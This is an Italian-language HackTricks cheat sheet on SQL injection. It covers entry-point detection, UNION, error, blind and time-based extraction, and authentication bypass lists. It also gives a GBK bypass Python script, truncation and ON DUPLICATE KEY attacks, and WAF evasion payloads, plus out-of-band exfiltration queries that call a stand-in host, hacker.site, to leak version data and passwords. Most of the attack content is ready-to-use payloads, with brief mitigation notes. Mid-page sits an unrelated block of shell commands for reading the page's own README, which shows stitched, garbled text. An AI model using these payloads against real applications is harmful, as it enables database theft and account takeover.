SQL Injection

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos’è SQL injection?

Un’SQL injection è una vulnerabilità di sicurezza che permette agli attaccanti di interferire con database queries di un’applicazione. Questa vulnerabilità può consentire agli attaccanti di visualizzare, modificare o cancellare dati a cui non dovrebbero avere accesso, inclusi i dati di altri utenti o qualsiasi dato a cui l’applicazione può accedere. Tali azioni possono causare modifiche permanenti alla funzionalità o al contenuto dell’applicazione, compromettere il server o provocare denial of service.

Individuazione del punto di ingresso

Quando un sito sembra essere vulnerabile a SQL injection (SQLi) a causa di risposte insolite del server a input correlati a SQLi, il primo passo è capire come iniettare dati nella query senza interromperla. Questo richiede di identificare il metodo per uscire dal contesto corrente in modo efficace. Ecco alcuni esempi utili:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Poi, devi sapere come correggere la query in modo che non ci siano errori. Per correggere la query puoi inserire dati così la query precedente accetti i nuovi dati, oppure puoi semplicemente inserire i tuoi dati e aggiungere un simbolo di commento alla fine.

Nota che se puoi vedere messaggi di errore o notare differenze quando una query funziona e quando non lo è, questa fase sarà più facile.

Commenti

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Conferma con operazioni logiche

Un metodo affidabile per confermare una vulnerabilità di SQL injection consiste nell’eseguire una operazione logica e osservare i risultati attesi. Ad esempio, un parametro GET come ?username=Peter che restituisce contenuto identico quando modificato in ?username=Peter' or '1'='1 indica una vulnerabilità di SQL injection.

Analogamente, l’applicazione di operazioni matematiche funge da tecnica di conferma efficace. Per esempio, se accedendo a ?id=1 e a ?id=2-1 si ottiene lo stesso risultato, ciò indica una vulnerabilità di SQL injection.

Esempi che dimostrano la conferma tramite operazioni logiche:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Questa word-list è stata creata per provare a confermare SQLinjections nel modo proposto:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Conferma tramite temporizzazione

In alcuni casi non noterai alcun cambiamento nella pagina che stai testando. Pertanto, un buon modo per scoprire blind SQL injections è far eseguire al DB delle azioni che avranno un impatto sui tempi di caricamento della pagina.
Per questo, andremo a concat nella query SQL un’operazione che richiederà molto tempo per completarsi:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In alcuni casi le funzioni sleep non saranno permesse. Quindi, invece di utilizzare quelle funzioni, potresti far sì che la query esegua operazioni complesse che richiederanno diversi secondi. Esempi di queste tecniche verranno commentati separatamente per ciascuna tecnologia (se presenti).

Identificazione del back-end

Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti usare le sleep funzioni della sezione precedente o queste (tabella da payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Anche, se hai accesso all’output della query, puoi farla mostrare la versione del database.

Tip

Di seguito discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.

Identificazione con PortSwigger

SQL injection cheat sheet | Web Security Academy

Sfruttando Union Based

Individuare il numero di colonne

Se puoi vedere l’output della query questo è il modo migliore per sfruttarla.
Prima di tutto, dobbiamo scoprire il numero di colonne che la richiesta iniziale restituisce. Questo perché entrambe le query devono restituire lo stesso numero di colonne.
Tipicamente vengono usati due metodi a questo scopo:

Order/Group by

Per determinare il numero di colonne in una query, aumenta progressivamente il numero usato nelle clausole ORDER BY o GROUP BY finché non si ottiene una risposta falsa. Nonostante le funzionalità distinte di GROUP BY e ORDER BY in SQL, entrambi possono essere utilizzati allo stesso modo per accertare il numero di colonne della query.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Seleziona sempre più valori null finché la query è corretta:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Dovresti usare valori null poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso.

Estrai i nomi dei database, i nomi delle tabelle e i nomi delle colonne

Negli esempi che seguono recupereremo i nomi di tutti i database, il nome delle tabelle di un database e i nomi delle colonne della tabella:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Esiste un modo diverso per scoprire questi dati su ogni database, ma la metodologia è sempre la stessa.

Sfruttare Hidden Union Based

Quando l’output di una query è visibile, ma una union-based injection sembra irrealizzabile, ciò indica la presenza di una hidden union-based injection. Questo scenario spesso sfocia in una situazione di blind injection. Per trasformare una blind injection in una union-based, è necessario individuare la query di esecuzione sul backend.

Ciò può essere ottenuto tramite l’uso di tecniche di blind injection insieme alle tabelle di default specifiche del tuo target Database Management System (DBMS). Per comprendere queste tabelle di default, è consigliabile consultare la documentazione del DBMS target.

Una volta che la query è stata estratta, è necessario adattare il tuo payload per chiudere in sicurezza la query originale. Successivamente, una union query viene aggiunta al tuo payload, facilitando lo sfruttamento della nuova union-based injection accessibile.

Per approfondimenti più completi, consulta l’articolo completo disponibile su Healing Blind Injections.

Sfruttare Error based

Se per qualche motivo non puoi vedere l’output della query ma puoi vedere gli error messages, puoi fare in modo che questi error messages ex-filtrate dati dal database.
Seguendo un flusso simile a quello della Union Based exploitation, potresti riuscire a dump the DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

In questo caso non puoi vedere i risultati della query né gli errori, ma puoi distinguere quando la query restituisce true o false perché ci sono contenuti differenti nella pagina.
In questo caso puoi abusare di questo comportamento per dump the database char by char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Questo è lo stesso caso di prima, ma invece di distinguere tra una risposta true/false dalla query puoi distinguere tra un errore nella query SQL o meno (forse perché il server HTTP si blocca). Pertanto, in questo caso puoi forzare un SQLerror ogni volta che indovini correttamente il char:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Sfruttare Time Based SQLi

In questo caso non c’è alcun modo per distinguere la risposta della query in base al contesto della pagina. Tuttavia, puoi far sì che la pagina impieghi più tempo a caricarsi se il carattere ipotizzato è corretto. Abbiamo già visto questa tecnica in uso in precedenza per confermare una SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Puoi usare stacked queries per eseguire più query in successione. Nota che, mentre le query successive vengono eseguite, i risultati non vengono restituiti all’applicazione. Perciò questa tecnica è principalmente utile in relazione alle blind vulnerabilities, dove puoi usare una seconda query per attivare una DNS lookup, un errore condizionale, o un ritardo temporale.

Out of band Exploitation

Se nessun-altro metodo di exploitation ha funzionato, puoi provare a far sì che il database ex-filtrate le informazioni verso un host esterno controllato da te. Ad esempio, tramite query DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Esfiltrazione di dati out-of-band via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Sfruttamento automatizzato

Consulta la SQLMap Cheatsheet per sfruttare una vulnerabilità SQLi con sqlmap.

Informazioni specifiche per tecnologia

Abbiamo già trattato tutti i modi per sfruttare una vulnerabilità SQL Injection. Trova altri trucchi dipendenti dalla tecnologia del database in questo libro:

Oppure troverai molti trucchi riguardanti: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Bypass dell’autenticazione

Elenco da provare per bypassare la funzionalità di login:

Login bypass List

Bypass dell’autenticazione con hash raw

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Questa query mette in evidenza una vulnerabilità quando MD5 viene usato con true per il raw output nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttarla inserendo input che, una volta sottoposti a hash, producono parti di comandi SQL inattese, portando ad accesso non autorizzato.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista consigliata:

Dovresti usare come username ogni riga della lista e come password sempre: Pass1234.
(Questi payloads sono anche inclusi nella grande lista menzionata all’inizio di questa sezione)

GBK Authentication Bypass

Se il carattere ’ viene escaped puoi usare %A8%27, e quando ’ viene escaped verrà creato: 0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Script Python:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modificare la password di un oggetto/utente esistente

Per farlo dovresti provare a creare un nuovo oggetto chiamato come il “master object” (probabilmente admin nel caso degli utenti) modificando qualcosa:

  • Crea un utente chiamato: AdMIn (lettere maiuscole e minuscole)
  • Crea un utente chiamato: admin=
  • SQL Truncation Attack (quando c’è qualche tipo di limite di lunghezza nel username o nell’email) –> Crea un utente con nome: admin [a lot of spaces] a

SQL Truncation Attack

Se il database è vulnerabile e il numero massimo di caratteri per il username è ad esempio 30 e vuoi impersonare l’utente admin, prova a creare un username chiamato: “admin [30 spaces] a” e qualsiasi password.

Il database verificherà se il username inserito esiste nel database. Se no, troncherà il username al numero massimo di caratteri consentito (in questo caso a: “admin [25 spaces]”) e poi rimuoverà automaticamente tutti gli spazi finali aggiornando nel database l’utente “admin” con la nuova password (potrebbe apparire qualche errore ma non significa che non abbia funzionato).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Aggiungi tanti ','','' quanti ritieni necessari per uscire dalla clausola VALUES. Se il delay viene eseguito, hai una SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La clausola ON DUPLICATE KEY UPDATE in MySQL viene utilizzata per specificare le azioni che il database deve eseguire quando si tenta di inserire una riga che provocherebbe un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. L’esempio seguente mostra come questa funzionalità possa essere sfruttata per modificare la password di un account di un amministratore:

Esempio di Payload Injection:

Un injection payload potrebbe essere creato come segue, in cui si tenta di inserire due righe nella tabella users. La prima riga è un diversivo, e la seconda prende di mira l’email di un amministratore esistente con l’intento di aggiornare la password:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ecco come funziona:

  • La query tenta di inserire due righe: una per generic_user@example.com e un’altra per admin_generic@example.com.
  • Se la riga per admin_generic@example.com esiste già, la clausola ON DUPLICATE KEY UPDATE viene attivata, istruisce MySQL ad aggiornare il campo password della riga esistente con “bcrypt_hash_of_newpassword”.
  • Di conseguenza, si può poi tentare l’autenticazione usando admin_generic@example.com con la password corrispondente al bcrypt hash (“bcrypt_hash_of_newpassword” rappresenta il bcrypt hash della nuova password, che dovrebbe essere sostituito con l’hash effettivo della password desiderata).

Estrarre informazioni

Creare 2 account contemporaneamente

Quando si tenta di creare un nuovo utente, sono necessari username, password ed email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Uso di decimale o esadecimale

Con questa tecnica puoi estrarre informazioni creando solo 1 account. È importante notare che non è necessario commentare nulla.

Usando hex2dec e substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
  • Se il repository è locale: cat src/pentesting-web/sql-injection/README.md

  • Con git (ultima commit): git show HEAD:src/pentesting-web/sql-injection/README.md

  • Con git per un branch specifico: git show :src/pentesting-web/sql-injection/README.md

  • Da GitHub (sostituisci user/repo/branch): curl -sL https://raw.githubusercontent.com////src/pentesting-web/sql-injection/README.md

  • Con gh CLI: gh repo view / –raw=src/pentesting-web/sql-injection/README.md

  • Se vuoi cercare rapidamente nel progetto: rg –hidden –line-number –no-ignore-vcs ‘^’ src/pentesting-web/sql-injection/README.md

__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex e replace (e substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection è una situazione in cui la query iniettabile non è quella che fornisce direttamente l’output, bensì l’output della query iniettabile viene passato alla query che poi genera l’output. (From Paper)

Esempio:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass usando alternative agli spazi bianchi

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass usando commenti

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass usando le parentesi

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass usando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Blacklist usando keywords - bypass usando uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist che utilizza parole chiave insensibili al maiuscolo/minuscolo - bypass usando un operator equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Puoi trovare una spiegazione più approfondita di questo trucco sul gosecure blog.
In pratica puoi usare la scientific notation in modi inaspettati per bypassare il WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass della restrizione sui nomi delle colonne

Innanzitutto, nota che se la query originale e la tabella dalla quale vuoi estrarre il flag hanno lo stesso numero di colonne puoi semplicemente fare: 0 UNION SELECT * FROM flag

È possibile accedere alla terza colonna di una tabella senza usare il suo nome usando una query come la seguente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, quindi in una sqlinjection questo apparirebbe come:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Oppure usando un comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Questo trick è stato preso da https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Se l’input dell’utente viene concatenato nella SELECT list o negli table/column identifiers, i prepared statements non aiutano perché i bind parameters proteggono solo i values, non gli identifiers. Un pattern vulnerabile comune è:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Exploitation idea: iniettare una subquery nella posizione del campo per esfiltrare dati arbitrari:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Note:

  • Questo funziona anche quando la WHERE clause usa un bound parameter, perché la lista di identificatori viene comunque concatenata come stringa.
  • Alcuni stack permettono inoltre di controllare il table name (tablename injection), abilitando letture tra tabelle.
  • Gli output sink possono riflettere il valore selezionato in HTML/JSON, permettendo XSS o esfiltrazione di token direttamente dalla risposta.

Mitigazioni:

  • Non concatenare mai identificatori provenienti da input utente. Mappa i nomi di colonna consentiti in una allow-list fissa e quotare correttamente gli identificatori.
  • Se è necessario l’accesso dinamico alle tabelle, limitarlo a un insieme finito e risolverlo server-side da una mappatura sicura.

SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)

Alcuni framework convert structured filter ASTs into raw SQL boolean fragments (es., metadata filters o JSON predicates) e poi string-concatenate quei frammenti in query più grandi. Se il converter wraps string values as '%s' without escaping, un singolo apice nell’input utente termina il literal e il resto viene interpretato come SQL.

Example pattern (conceptual):

JSON_VALUE(metadata, '$.department') = '<user_value>'

Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → decodificato: ' OR '1'='1 → il predicato diventa:

JSON_VALUE(metadata, '$.department') = '' OR '1'='1'

ORDER BY / identifier-based SQLi (PDO limitation)

I prepared statement non possono associare identificatori (nomi di colonne o tabelle). Un pattern insicuro comune è prendere un parametro sort controllato dall’utente e costruire l’ORDER BY usando concatenazione di stringhe, a volte racchiudendo l’input tra backtick per “sanitizzarlo”. Questo permette comunque SQLi perché il contesto dell’identificatore è controllato dall’attaccante.

Vulnerable pattern:

$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);

Segnali nel traffico:

  • Parametro sort in POST (spesso sort=column), non una allow-list fissa.
  • Modificare sort rompe la query o altera l’ordinamento dell’output.

Strumenti per suggerire il bypass del WAF

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub

Altre guide

Lista per il rilevamento Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks